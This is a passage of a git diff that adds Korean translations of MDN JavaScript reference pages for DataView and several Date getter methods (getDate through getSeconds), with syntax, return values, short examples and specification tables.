+ const left = BigInt(dataview.getUint32(byteOffset|0, !!littleEndian)&gt;&gt;&gt;0);
+ const right = BigInt(dataview.getUint32((byteOffset|0) + 4|0, !!littleEndian)&gt;&gt;&gt;0);
+
+ // combine the two 32-bit values and return
+ return littleEndian ? (right&lt;&lt;bigThirtyTwo)|left : (left&lt;&lt;bigThirtyTwo)|right;
+}</pre>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{jsxref("DataView.DataView", "DataView()")}}</dt>
+ <dd>새로운 <code>DataView</code> 객체를 생성합니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>DataView.prototype.constructor</code></dt>
+ <dd>객체의 프로토타입을 생성한 함수를 나타냅니다. 초깃값은 내장 <code>DataView</code> 생성자입니다.</dd>
+ <dt>{{jsxref("DataView.prototype.buffer")}} {{readonlyInline}}</dt>
+ <dd>뷰가 참조하는 {{jsxref("ArrayBuffer")}}입니다.</dd>
+ <dt>{{jsxref("DataView.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>뷰의 시작점부터 측정한 {{jsxref("ArrayBuffer")}}의 길이(바이트 단위)입니다.</dd>
+ <dt>{{jsxref("DataView.prototype.byteOffset")}} {{readonlyInline}}</dt>
+ <dd>뷰의 시작점 오프셋(바이트 단위)입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<h3 id="읽기">읽기</h3>
+
+<dl>
+ <dt>{{jsxref("DataView.prototype.getInt8()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치의 8비트 정수(byte)를 가져옵니다.</dd>
+ <dt>{{jsxref("DataView.prototype.getUint8()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치의 8비트 부호 없는 정수(unsigned byte)를 가져옵니다.</dd>
+ <dt>{{jsxref("DataView.prototype.getInt16()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치의 16비트 정수(short)를 가져옵니다.</dd>
+ <dt>{{jsxref("DataView.prototype.getUint16()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치의 16비트 부호 없는 정수(unsigned short)를 가져옵니다.</dd>
+ <dt>{{jsxref("DataView.prototype.getInt32()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치의 32비트 정수(long)를 가져옵니다.</dd>
+ <dt>{{jsxref("DataView.prototype.getUint32()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치의 32비트 부호 없는 정수(unsigned short)를 가져옵니다.</dd>
+ <dt>{{jsxref("DataView.prototype.getFloat32()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치의 32비트 실수(float)를 가져옵니다.</dd>
+ <dt>{{jsxref("DataView.prototype.getFloat64()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치의 64비트 실수(double)를 가져옵니다.</dd>
+ <dt>{{jsxref("DataView.prototype.getBigInt64()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치의 64비트 정수(long long)를 가져옵니다.</dd>
+ <dt>{{jsxref("DataView.prototype.getBigUint64()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치의 64비트 부호 없는 정수(unsigned long long)를 가져옵니다.</dd>
+</dl>
+
+<h3 id="쓰기">쓰기</h3>
+
+<dl>
+ <dt>{{jsxref("DataView.prototype.setInt8()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치에 8비트 정수(byte)를 저장합니다.</dd>
+ <dt>{{jsxref("DataView.prototype.setUint8()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치에 8비트 부호 없는 정수(unsigned byte)를 저장합니다.</dd>
+ <dt>{{jsxref("DataView.prototype.setInt16()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치에 16비트 정수(short)를 저장합니다.</dd>
+ <dt>{{jsxref("DataView.prototype.setUint16()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치에 16비트 부호 없는 정수(unsigned short)를 저장합니다.</dd>
+ <dt>{{jsxref("DataView.prototype.setInt32()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치에 32비트 정수(long)를 저장합니다.</dd>
+ <dt>{{jsxref("DataView.prototype.setUint32()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치에 32비트 부호 없는 정수(unsigned long)를 저장합니다.</dd>
+ <dt>{{jsxref("DataView.prototype.setFloat32()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치에 32비트 실수(float)를 저장합니다.</dd>
+ <dt>{{jsxref("DataView.prototype.setFloat64()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치에 64비트 실수(double)를 저장합니다.</dd>
+ <dt>{{jsxref("DataView.prototype.setBigInt64()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치에 64비트 정수(long long)를 저장합니다.</dd>
+ <dt>{{jsxref("DataView.prototype.setBigUint64()")}}</dt>
+ <dd>뷰의 시작점에서부터 주어진 오프셋을 적용한 위치에 64비트 부호 없는 정수(unsigned long long)를 저장합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">var buffer = new ArrayBuffer(16);
+var view = new DataView(buffer, 0);
+
+view.setInt16(1, 42);
+view.getInt16(1); //42
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-dataview-objects', 'DataView')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.DataView")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("SharedArrayBuffer")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/getdate/index.html b/files/ko/web/javascript/reference/global_objects/date/getdate/index.html
new file mode 100644
index 0000000000..1a5d6f2d5a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/getdate/index.html
@@ -0,0 +1,84 @@
+---
+title: Date.prototype.getDate()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getDate
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDate
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>getDate()</code></strong> 메서드는 주어진 날짜의 현지 시간 기준 일을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getdate.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getDate()</code></pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>현지 시간에 따라, 주어진 날짜의 일에 해당하는 1 이상 31 이하의 정수.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="getDate()_사용하기"><code>getDate()</code> 사용하기</h3>
+
+<p>아래 코드의 두 번째 명령문은 <code>Xmas95</code>의 값에 기반하여 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">day</span></font>에 2를 할당합니다.</p>
+
+<pre class="brush: js">var Xmas95 = new Date('December 25, 1995 23:15:30');
+var day = Xmas95.getDate();
+
+console.log(day); // 25
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.getdate', 'Date.prototype.getDate')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.getdate', 'Date.prototype.getDate')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.14', 'Date.prototype.getDate')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.1.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.getDate")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCDate()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCDay()")}}</li>
+ <li>{{jsxref("Date.prototype.setDate()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/getday/index.html b/files/ko/web/javascript/reference/global_objects/date/getday/index.html
new file mode 100644
index 0000000000..1c936def69
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/getday/index.html
@@ -0,0 +1,95 @@
+---
+title: Date.prototype.getDay()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getDay
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDay
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>getDay()</code></strong> 메서드는 주어진 날짜의 현지 시간 기준 요일을 반환합니다. 0은 일요일을 나타냅니다.</span> 현재의 일을 반환하려면 {{jsxref("Date.prototype.getDate()")}}를 사용하세요.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getday.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getDay()</code></pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>현지 시간에 따라, 주어진 날짜의 요일에 해당하는 0 이상 6 이하의 정수. (일요일은 0, 월요일은 1, 화요일은 2, ...)</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="getDay()_사용하기"><code>getDay()</code> 사용하기</h3>
+
+<p>1995년 12월 25일은 월요일입니다. 따라서 아래 코드의 두 번째 명령문은 <code>Xmas95</code>의 값에 기반하여 <code>weekday</code>에 1을 할당합니다.</p>
+
+<pre class="brush: js">var Xmas95 = new Date('December 25, 1995 23:15:30');
+var weekday = Xmas95.getDay();
+
+console.log(weekday); // 1
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> 필요하다면, 요일의 이름(<code>"월요일"</code> 등)을 {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}과 <code>options</code> 매개변수를 사용해 얻을 수 있습니다. 이 방법을 사용하면 국제화도 더 쉬워집니다.</p>
+
+<pre class="brush: js">var options = { weekday: 'long'};
+console.log(new Intl.DateTimeFormat('en-US', options).format(Xmas95));
+// Monday
+console.log(new Intl.DateTimeFormat('ko-KR', options).format(Xmas95));
+// 월요일
+</pre>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.getday', 'Date.prototype.getDay')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.getday', 'Date.prototype.getDay')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.16', 'Date.prototype.getDay')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Date.getDay")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCDate()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCDay()")}}</li>
+ <li>{{jsxref("Date.prototype.setDate()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/getfullyear/index.html b/files/ko/web/javascript/reference/global_objects/date/getfullyear/index.html
new file mode 100644
index 0000000000..c1a90e5340
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/getfullyear/index.html
@@ -0,0 +1,88 @@
+---
+title: Date.prototype.getFullYear()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getFullYear
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getFullYear
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>getFullYear()</code></strong> 메서드는 주어진 날짜의 현지 시간 기준 연도를 반환합니다.</p>
+
+<p>{{jsxref("Date.prototype.getYear()", "getYear()")}} 메서드 대신 이 메서드를 사용하세요.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getfullyear.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getFullYear()</code></pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>현지 시간에 따라, 주어진 날짜의 연도에 해당하는 숫자.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>getFullYear()</code>가 반환하는 값은 절댓값입니다. <code>getFullYear()</code>는 1000년과 9999년 사이의, 1995년과 같은 날짜에 대해서는 네 자리 숫자를 반환합니다. 이 메서드를 사용해야 2000년 이후의 날짜에 대해서도 호환을 유지할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="getFullYear()_사용하기"><code>getFullYear()</code> 사용하기</h3>
+
+<p>다음 예제에서는 현재 연도의 네 자릿값을 변수 <code>year</code>에 할당합니다.</p>
+
+<pre class="brush: js">var today = new Date();
+var year = today.getFullYear();
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.3.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.10', 'Date.prototype.getFullYear')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.getfullyear', 'Date.prototype.getFullYear')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.getfullyear', 'Date.prototype.getFullYear')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.getFullYear")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.getYear()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/gethours/index.html b/files/ko/web/javascript/reference/global_objects/date/gethours/index.html
new file mode 100644
index 0000000000..8095548633
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/gethours/index.html
@@ -0,0 +1,83 @@
+---
+title: Date.prototype.getHours()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getHours
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getHours
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>getHours()</code></strong> 메서드는 주어진 날짜의 현지 시간 기준 시를 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-gethours.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getHours()</code></pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 날짜의 현지 시간 기준 시를 나타내는 0에서 23 사이의 정수.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="getHours()_사용하기"><code>getHours()</code> 사용하기</h3>
+
+<p>아래의 두 번째 명령문은 {{jsxref("Date")}} 객체 <code>Xmas95</code> 날짜의 시를 <code>hours</code> 변수에 할당합니다.</p>
+
+<pre class="brush: js">var Xmas95 = new Date('December 25, 1995 23:15:30');
+var hours = Xmas95.getHours();
+
+console.log(hours); // 23
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.18', 'Date.prototype.getHours')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.gethours', 'Date.prototype.getHours')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.gethours', 'Date.prototype.getHours')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Date.getHours")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCHours()")}}</li>
+ <li>{{jsxref("Date.prototype.setHours()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/getmilliseconds/index.html b/files/ko/web/javascript/reference/global_objects/date/getmilliseconds/index.html
new file mode 100644
index 0000000000..49be5d7ff7
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/getmilliseconds/index.html
@@ -0,0 +1,81 @@
+---
+title: Date.prototype.getMilliseconds()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>getMilliseconds()</strong></code> 메서드는 <code>Date</code> 인스턴스의 밀리초를 현지 시간 기준으로 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getmilliseconds.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.getMilliseconds()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 날짜의 현지 시간 기준 밀리초를 나타내는 0에서 999 사이의 정수.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="getMilliseconds()_사용하기"><code>getMilliseconds()</code> 사용하기</h3>
+
+<p>다음 예제에서는 현재 시간의 밀리초를 변수 <code>milliseconds</code>에 할당합니다.</p>
+
+<pre class="brush: js">var today = new Date();
+var milliseconds = today.getMilliseconds();
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.3.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.24', 'Date.prototype.getMilliseconds')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.getmilliseconds', 'Date.prototype.getMilliseconds')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.getmilliseconds', 'Date.prototype.getMilliseconds')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Date.getMilliseconds")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMilliseconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setMilliseconds()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/getminutes/index.html b/files/ko/web/javascript/reference/global_objects/date/getminutes/index.html
new file mode 100644
index 0000000000..5cd9c3c99a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/getminutes/index.html
@@ -0,0 +1,83 @@
+---
+title: Date.prototype.getMinutes()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getMinutes
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMinutes
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>getMinutes()</strong></code> 메서드는 <code>Date</code> 인스턴스의 분을 현지 시간 기준으로 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getminutes.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.getMinutes()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 날짜의 현지 시간 기준 분을 나타내는 0에서 59 사이의 정수.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="getMinutes()_사용하기"><code>getMinutes()</code> 사용하기</h3>
+
+<p>다음 예제는 {{jsxref("Date")}} 객체 <code>Xmas95</code>의 분을 사용해 변수 <code>minutes</code>에 15를 할당합니다.</p>
+
+<pre class="brush: js">var Xmas95 = new Date('December 25, 1995 23:15:30');
+var minutes = Xmas95.getMinutes();
+
+console.log(minutes); // 15
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.20', 'Date.prototype.getMinutes')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.getminutes', 'Date.prototype.getMinutes')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.getminutes', 'Date.prototype.getMinutes')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Date.getMinutes")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMinutes()")}}</li>
+ <li>{{jsxref("Date.prototype.setMinutes()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/getmonth/index.html b/files/ko/web/javascript/reference/global_objects/date/getmonth/index.html
new file mode 100644
index 0000000000..48fe002a99
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/getmonth/index.html
@@ -0,0 +1,94 @@
+---
+title: Date.prototype.getMonth()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getMonth
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMonth
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>getMonth()</code> </strong>메서드는 <code>Date</code> 객체의 월 값을 현지 시간에 맞춰 반환합니다. 월은 0부터 시작합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getmonth.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.getMonth()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>현지 시간 기준 월을 나타내는 0에서 11 사이의 정수. 0은 1월, 1은 2월... 을 나타냅니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="getMonth()_사용하기"><code>getMonth()</code> 사용하기</h3>
+
+<p>다음 예제는 {{jsxref("Date")}} 객체 <code>Xmas95</code>의 값을 사용해 변수 <code>month</code>에 11을 할당합니다.</p>
+
+<pre class="brush: js">var Xmas95 = new Date('December 25, 1995 23:15:30');
+var month = Xmas95.getMonth();
+
+console.log(month); // 11
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> 필요한 경우 {{jsxref("DateTimeFormat", "Intl.DateTimeFormat()")}}과 <code>options</code> 매개변수를 사용해 해당하는 달의 이름(<code>"January"</code> 등)을 가져올 수 있습니다. 이 방법을 사용하면 국제화도 보다 편리합니다.</p>
+
+<pre class="brush: js">var options = { month: 'long'};
+console.log(new Intl.DateTimeFormat('ko-KR', options).format(Xmas95));
+// 12월
+console.log(new Intl.DateTimeFormat('en-US', options).format(Xmas95));
+// December
+</pre>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.12', 'Date.prototype.getMonth')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.getmonth', 'Date.prototype.getMonth')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.getmonth', 'Date.prototype.getMonth')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Date.getMonth")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMonth()")}}</li>
+ <li>{{jsxref("Date.prototype.setMonth()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/getseconds/index.html b/files/ko/web/javascript/reference/global_objects/date/getseconds/index.html
new file mode 100644
index 0000000000..c5155d4d4a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/getseconds/index.html
@@ -0,0 +1,83 @@
+---
+title: Date.prototype.getSeconds()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getSeconds
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getSeconds
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>getSeconds()</code> </strong>메서드는 <code>Date</code> 객체의 초 값을 현지 시간에 맞춰 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getseconds.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.getSeconds()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>현지 시간 기준 초를 나타내는 0에서 59 사이의 정수.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="getSeconds()_사용하기"><code>getSeconds()</code> 사용하기</h3>
+
+<p>다음 예제는 {{jsxref("Date")}} 객체 <code>Xmas95</code>의 값을 사용해 변수 <code>seconds</code>에 30을 할당합니다.</p>
+
+<pre class="brush: js">var Xmas95 = new Date('December 25, 1995 23:15:30');
+var seconds = Xmas95.getSeconds();
+
+console.log(seconds); // 30
+</pre>
+
+<h2 id="명세">명세</h2>
+
